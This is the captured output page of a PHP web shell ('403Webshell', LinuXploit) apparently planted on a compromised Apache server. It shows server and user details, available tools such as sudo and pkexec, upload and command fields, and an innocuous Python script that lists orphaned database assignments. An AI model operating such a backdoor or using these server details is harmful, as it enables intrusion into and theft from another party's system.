403Webshell
Server IP : 216.92.14.13  /  Your IP : 216.73.217.126
Web Server : Apache
System : Linux vps4089.pairvps.com 5.15.0-190-generic #200-Ubuntu SMP Fri Aug 7 15:06:04 UTC 2026 x86_64
User : rmlac2fmr ( 1040637)
PHP Version : 8.2.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/home/rmlac2fmr/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/home/rmlac2fmr/find_orphans.py
import json
db = json.load(open("/home/rmlac2fmr/public_html/jn.com/ops/data/db.json"))

person_ids = set(p["id"] for p in db["persons"])
orphans = [a for a in db["assignments"] if a["personId"] not in person_ids]

print(f"Total assignments: {len(db['assignments'])}")
print(f"Orphaned assignments: {len(orphans)}\n")

for a in orphans:
    show = next((s for s in db["shows"] if s["id"] == a["showId"]), None)
    show_name = show["code"] if show else a["showId"]
    # Check if there's a travel request with this personId
    reqs = [r for r in db["travelRequests"] if r["personId"] == a["personId"]]
    req_info = f" — has {len(reqs)} travel request(s): {', '.join(r.get('submittedName','?') for r in reqs)}" if reqs else " — no travel requests"
    print(f"  Assignment {a['id']}: personId={a['personId']} show={show_name}{req_info}")

Youez - 2016 - github.com/yon3zu
LinuXploit